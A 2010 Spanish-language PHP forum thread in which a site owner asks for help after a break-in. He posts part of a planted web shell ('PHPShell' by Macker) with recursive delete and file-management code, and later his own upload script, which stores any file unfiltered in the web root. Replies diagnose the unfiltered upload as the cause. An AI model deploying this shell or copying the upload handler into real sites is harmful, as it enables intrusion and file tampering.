Foros del Web » Programando para Internet » PHP »

se bajaron mi web ... ayuda

Estas en el tema de se bajaron mi web ... ayuda en el foro de PHP en Foros del Web. Hola amigos .. hoy hackearon mi web un tal F3L0M4N, he encontrado en el host un archivo llamado 26.php el cual tiene el siguiente codigo: ...
  #1 (permalink)  
Antiguo 13/07/2010, 14:14
 
Fecha de Ingreso: enero-2009
Ubicación: Lima
Mensajes: 47
Antigüedad: 15 años, 4 meses
Puntos: 0
se bajaron mi web ... ayuda

Hola amigos .. hoy hackearon mi web un tal F3L0M4N, he encontrado en el host un archivo llamado 26.php el cual tiene el siguiente codigo:

Código PHP:
Ver original
  1. <?php
  2.  
  3.  
  4.  
  5. $SFileName=$PHP_SELF;               /*I added this to ensure the script will run correctly...
  6.                                     Please enter the Script's filename in this variable.*
  7.  
  8.                     /* uncomment the two following variables if you want to use http
  9.                        authentication. This will password protect your PHPShell */
  10.  
  11. function walkArray($array){
  12.   while (list($key, $data) = each($array)) {
  13.     if (is_array($data)) {
  14.       walkArray($data);
  15.     }
  16.     else {
  17.       global $$key;
  18.       $$key = $data;
  19.     }
  20.   }
  21. }
  22. if (isset($_PUT)) walkArray($_PUT);
  23. if (isset($_GET)) walkArray($_GET);
  24. if (isset($_POST)) walkArray($_POST);
  25.  
  26. $PHPVer=phpversion();
  27. $isGoodver=(intval($PHPVer[0])>=4);
  28. $scriptTitle = "PHPShell";
  29. $scriptident = "$scriptTitle by Macker";
  30.  
  31. if (empty($Pmax))
  32.     $Pmax = 50;   /* Identifies the max amount of Directories and files listed on one page */
  33. if (empty($Pidx))
  34.     $Pidx = 0;
  35.  
  36. $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  37. $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  38.  
  39. $scriptdate = "30 march 2003";
  40. $scriptver = "Version 2.6.3dev";
  41. $LOCAL_IMAGE_DIR = "img";
  42. $REMOTE_IMAGE_URL = "img";
  43. $img = array(
  44.                 "Edit"      => "edit.JPG",
  45.                 "Download"  => "download.JPG",
  46.                 "Upload"    => "upload.JPG",
  47.                 "Delete"    => "delete.JPG",
  48.                 "View"      => "view.JPG",
  49.                 "Rename"    => "rename.JPG",
  50.                 "Move"      => "move.JPG",
  51.                 "Copy"      => "copy.JPG",
  52.                 "Execute"   => "exec.JPG"
  53.             );
  54.  
  55. while (list($id, $im)=each($img))
  56.     if (file_exists("$LOCAL_IMAGE_DIR/$im"))
  57.         $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
  58.     else
  59.         $img[$id] = "[$id]";
  60.  
  61.  
  62. /* HTTP AUTHENTICATION */
  63.  
  64.     if  ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || md5($PHP_AUTH_PW) != $http_auth_pass)  ||  (($logoff==1) && $noauth=="yes")  )   {
  65.         setcookie("noauth","");
  66.         Header( "WWW-authenticate:  Basic realm=\"$scriptTitle $scriptver\"");
  67.         Header( "HTTP/1.0  401  Unauthorized");
  68.         echo "Your username or password is incorrect";
  69.         echo "\n\n" . md5($PHP_AUTH_PW);
  70.  
  71.         exit ;
  72.                  
  73.     }
  74.  
  75. function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr);  }
  76.  
  77. function Mydeldir($Fdir) {
  78.     if (is_dir($Fdir)) {
  79.         $Fh=@opendir($Fdir);
  80.         while ($Fbuf = readdir($Fh))
  81.             if (($Fbuf != ".") && ($Fbuf != ".."))
  82.                 Mydeldir("$Fdir/$Fbuf");
  83.         @closedir($Fh);
  84.                 return rmdir($Fdir);
  85.     }   else {
  86.         return unlink($Fdir);
  87.     }
  88. }
  89.  
  90. function formatsize($insize) {  
  91.     $size = $insize;
  92.     $add = "B";
  93.     if ($size > 1024) {
  94.         $size = intval(intval($size) / 1.024)/1000;
  95.         $add = "KB";
  96.     }
  97.     if ($size > 1024) {
  98.         $size = intval(intval($size) / 1.024)/1000;
  99.         $add = "MB";
  100.     }
  101.     if ($size > 1024) {
  102.         $size = intval(intval($size) / 1.024)/1000;
  103.         $add = "GB";
  104.     }
  105.     if ($size > 1024) {
  106.         $size = intval(intval($size) / 1.024)/1000;
  107.         $add = "TB";
  108.     }
  109.     return "$size $add";
  110. }
  111.  
  112. if ($cmd != "downl") {
  113.     ?>
  114.  
  115. <!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?>  -->
  116. <HTML>
  117.  <HEAD>
  118.   <STYLE>
  119.   <!--
  120.     A{ text-decoration:none; color:navy; font-size: 12px }
  121.     body { font-size: 12px;
  122.             background-image: url(img/repeat.bmp);
  123.             scrollbar-width: 5;
  124.         scrollbar-face-color: silver;
  125.         scrollbar-shadow-color: gray;
  126.         scrollbar-highlight-color: white;
  127.         scrollbar-3dlight-color:black;
  128.         scrollbar-darkshadow-color: black;
  129.         scrollbar-track-color:#dddddd;
  130.         scrollbar-arrow-color: black;
  131.     }
  132.     Table { font-size: 12px; }
  133.     TR{ font-size: 12px; }
  134.     TD{ font-size: 12px; BORDER-LEFT: black 0px solid; BORDER-RIGHT: black 0px solid; BORDER-TOP: black 0px solid; BORDER-BOTTOM: black 0px solid; COLOR: black; }
  135.     .border{       BORDER-LEFT: black 1px solid;
  136.            BORDER-RIGHT: black 1px solid;
  137.            BORDER-TOP: black 1px solid;
  138.            BORDER-BOTTOM: black 1px solid;
  139.          }
  140.     .none  {       BORDER-LEFT: black 0px solid;
  141.            BORDER-RIGHT: black 0px solid;
  142.            BORDER-TOP: black 0px solid;
  143.            BORDER-BOTTOM: black 0px solid;
  144.          }
  145.     .inputtext {
  146.             background-color: #EFEFEF;
  147.             border: 1px solid #000000;
  148.             height: 20;
  149.     }
  150.     .inputbutton {
  151.                         background-color: silver;
  152.             border: 1px solid #000000;
  153.             border-width: 1px;
  154.             height: 20;
  155.     }
  156.     .white {
  157.      background-color: #FFFFFF;
  158.      }
  159.     .inputtextarea {
  160.             background-color: #EFEFEF;
  161.             border: 1px solid #000000;
  162.             scrollbar-width: 5;
  163.             scrollbar-height: 5;
  164.             scrollbar-face-color: #EFEFEF;
  165.             scrollbar-shadow-color: silver;
  166.             scrollbar-highlight-color: #EFEFEF;
  167.             scrollbar-3dlight-color:silver;
  168.             scrollbar-darkshadow-color: silver;
  169.             scrollbar-track-color: #EFEFEF;
  170.             scrollbar-arrow-color: black;
  171.     }
  172.     .top { BORDER-TOP: black 1px solid; }
  173.     .textin { BORDER-LEFT: silver 1px solid;
  174.               BORDER-RIGHT: silver 1px solid;
  175.           BORDER-TOP: silver 1px solid;
  176.               BORDER-BOTTOM: silver 1px solid;
  177.               width: 99%; font-size: 12px; font-weight: bold; color: navy;
  178.             }
  179.     .notop { BORDER-TOP: black 0px solid; }
  180.     .bottom { BORDER-BOTTOM: black 1px solid; }
  181.     .nobottom { BORDER-BOTTOM: black 0px solid; }
  182.     .left { BORDER-LEFT: black 1px solid; }
  183.     .noleft { BORDER-LEFT: black 0px solid; }
  184.     .right { BORDER-RIGHT: black 1px solid; }
  185.     .noright { BORDER-RIGHT: black 0px solid; }
  186.     .silver{ BACKGROUND: silver; }
  187.   -->
  188.   </STYLE>
  189.   <TITLE><?php echo $SFileName ?></TITLE>
  190.  </HEAD>
  191.  <body bottommargin="0" rightmargin="0" topmargin="0" leftmargin="0">
  192.  <table width=100% height="100%" NOWRAP border="0">
  193.   <tr NOWRAP>
  194.    <td width="100%" NOWRAP>
  195.     <table NOWRAP width=100% height="100%" border="0" cellpadding="0" cellspacing="0">
  196.      <tr>
  197.       <td width="100%" height="15" class="silver border">
  198.        <center>
  199.         <strong>
  200.          <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font>
  201.             </strong>
  202.        </center>
  203.       </td>
  204.      </tr>
  205.      <tr><td valign="middle"><br>
  206.  
  207.     <?php
  208. }
  209.  
  210. if ( $cmd=="dir" ) {
  211.     $h=@opendir($dir);
  212.     if ($h == false) {
  213.         echo "<br><font color=\"red\">&nbsp;&nbsp;&nbsp;\n\n\n\n
  214.                COULD NOT OPEN THIS DIRECTORY!!!<br>&nbsp;&nbsp;&nbsp;\n
  215.                THE SCRIPT WILL RESULT IN AN ERROR!!!
  216.                <br><br>&nbsp;&nbsp;&nbsp;\n
  217.                PLEASE MAKE SURE YOU'VE GOT READ PERMISSIONS TO THE DIR...
  218.                <br><br></font>\n\n\n\n";
  219.     }
  220.         if (function_exists('realpath')) {
  221.         $partdir = realpath($dir);
  222.     }
  223.         else {
  224.         $partdir = $dir;
  225.     }
  226.     if (strlen($partdir) >= 100) {
  227.         $partdir = substr($partdir, -100);
  228.         $pos = strpos($partdir, "/");
  229.         if (strval($pos) != "") {
  230.             $partdir = "<--   ...".substr($partdir, $pos);
  231.         }
  232.         $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
  233.         $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  234.     $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  235.     }
  236.     ?>

No se si el hacker tuvo accedo via FTP o como hizo para dejar ese archivo en el Host,

mi host es de godaddy,

desde ya muchas gracias por als sugerencias
  #2 (permalink)  
Antiguo 13/07/2010, 14:19
Avatar de maycolalvarez
Colaborador
 
Fecha de Ingreso: julio-2008
Ubicación: Caracas
Mensajes: 12.120
Antigüedad: 15 años, 9 meses
Puntos: 1532
Respuesta: se bajaron mi web ... ayuda

Wow!, le di un vistazo y creo que básicamente recoge mucha información sobre el sitio, además de poder intentar ejecutar aplicaciones, borralo inmediatamente.

Cambia la clave del FTP!!!!

intenta ver si tus uploads no están filtrando adecuadamente
  #3 (permalink)  
Antiguo 13/07/2010, 14:23
 
Fecha de Ingreso: enero-2009
Ubicación: Lima
Mensajes: 47
Antigüedad: 15 años, 4 meses
Puntos: 0
Respuesta: se bajaron mi web ... ayuda

hola maycolalvarez,

muchas gracias por responderme,

ya elimine ese archivo, sabes .. el dia de ayer lo encontre y lo elimine, pero al amanecer el dia de hoy luego de cambiar la clave ftp lo volvi a encontrar en el host ???

con estas 2 hackeadas a mi sitio podria descartar que el acceso es FTP ???

desde ya muchas gracias

Última edición por mtubillas; 13/07/2010 a las 14:32
  #4 (permalink)  
Antiguo 13/07/2010, 14:45
 
Fecha de Ingreso: mayo-2008
Mensajes: 287
Antigüedad: 16 años
Puntos: 2
Respuesta: se bajaron mi web ... ayuda

mtubillas pasame tu url de tu web si quieres en privado pa chekr
  #5 (permalink)  
Antiguo 13/07/2010, 15:03
 
Fecha de Ingreso: enero-2009
Ubicación: Lima
Mensajes: 47
Antigüedad: 15 años, 4 meses
Puntos: 0
Respuesta: se bajaron mi web ... ayuda

hola tokiodata,

crees q tew pueda pasar el contenido del php para analizarlo ???

gracias por todo
  #6 (permalink)  
Antiguo 14/07/2010, 05:44
 
Fecha de Ingreso: abril-2008
Mensajes: 435
Antigüedad: 16 años
Puntos: 10
Respuesta: se bajaron mi web ... ayuda

interesante script, el tema es que no solo por ftp te pueden subir un archivo, sino si tienes un upload mal filtrado seria lo mas comun, cual es la url del site?
  #7 (permalink)  
Antiguo 14/07/2010, 09:33
 
Fecha de Ingreso: enero-2009
Ubicación: Lima
Mensajes: 47
Antigüedad: 15 años, 4 meses
Puntos: 0
Respuesta: se bajaron mi web ... ayuda

si tienes mucha razon amigo, el tema fue por un upload mal filtrado,

gracias por la ayuda
  #8 (permalink)  
Antiguo 14/07/2010, 09:34
 
Fecha de Ingreso: enero-2009
Ubicación: Lima
Mensajes: 47
Antigüedad: 15 años, 4 meses
Puntos: 0
Respuesta: se bajaron mi web ... ayuda

alguien podria ayudarme a analizar todo el contenido de ese archivo, xfavor .. solo una parte esta en el primer comment ..
  #9 (permalink)  
Antiguo 14/07/2010, 09:40
Avatar de abimaelrc
Colaborador
 
Fecha de Ingreso: mayo-2009
Ubicación: En el planeta de Puerto Rico
Mensajes: 14.734
Antigüedad: 15 años
Puntos: 1517
Respuesta: se bajaron mi web ... ayuda

Te recomiendo (de esta forma aprenderás bastante como trabajar con PHP), que vayas al manual de PHP y veas para que es útil la función que usen.
__________________
Verifica antes de preguntar.
Los verdaderos amigos se hieren con la verdad, para no perderlos con la mentira. - Eugenio Maria de Hostos
  #10 (permalink)  
Antiguo 14/07/2010, 09:59
 
Fecha de Ingreso: enero-2009
Ubicación: Lima
Mensajes: 47
Antigüedad: 15 años, 4 meses
Puntos: 0
Respuesta: se bajaron mi web ... ayuda

gracias por la recomencación ...
  #11 (permalink)  
Antiguo 14/07/2010, 10:29
 
Fecha de Ingreso: junio-2010
Ubicación: Venezuela, Zulia
Mensajes: 686
Antigüedad: 13 años, 10 meses
Puntos: 55
Respuesta: se bajaron mi web ... ayuda

podrias mostrar el codigo que tenias del upload mal filtrado para uno prevenir
  #12 (permalink)  
Antiguo 14/07/2010, 16:06
 
Fecha de Ingreso: enero-2009
Ubicación: Lima
Mensajes: 47
Antigüedad: 15 años, 4 meses
Puntos: 0
Respuesta: se bajaron mi web ... ayuda

Código PHP:
Ver original
  1. <form method="POST" name="flocales" id="flocales" action="guarda.php" onSubmit="return validar(this)" enctype="multipart/form-data">
  2. <input type="hidden" name="MAX_FILE_SIZE" value="500000000">
  3. <input name="uploadfile" type="file" size=40>
  4. <input type="submit"  value="  Publicar  " class="inputfile2" name="B1" style="font-family: Arial; font-size: 8pt; font-weight:bold">
  5. </form>


Código PHP:
Ver original
  1. <?PHP
  2. $quarter  = $_POST['quarter'];
  3. $year     = $_POST['year'];
  4. $uploaddir = $_SERVER['DOCUMENT_ROOT'].'/imagenes/';
  5. //$uploaddir = '/tmp/';
  6.  
  7. echo (file_exists($uploaddir) && is_dir($uploaddir)) ? 'Directorio existente' : 'No existe el directorio';
  8.  
  9.      if (is_uploaded_file($_FILES['uploadfile']['tmp_name'])) {
  10.           $name = $_FILES['uploadfile']['name'];
  11.           $uploaddir = $uploaddir . $name;
  12.           $tempname = $_FILES['uploadfile']['tmp_name'];
  13.  
  14.           $result = move_uploaded_file($_FILES['uploadfile']['tmp_name'],$uploaddir);
  15.  
  16.           if ($result == 1){ echo "<p  align='center'>Foto subida correctamente.</p>";}
  17.                else { die("Error al subir la foto.  por favor pongase en contacto con el administrador");
  18.                }
  19. }
  20.  
  21. ?>

la solución seria que el upload solo cargue iamgenes o los tipos de archivos que necesitamos, este upload carga de todo actualmente, saludos

Etiquetas: Ninguno
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 15:45.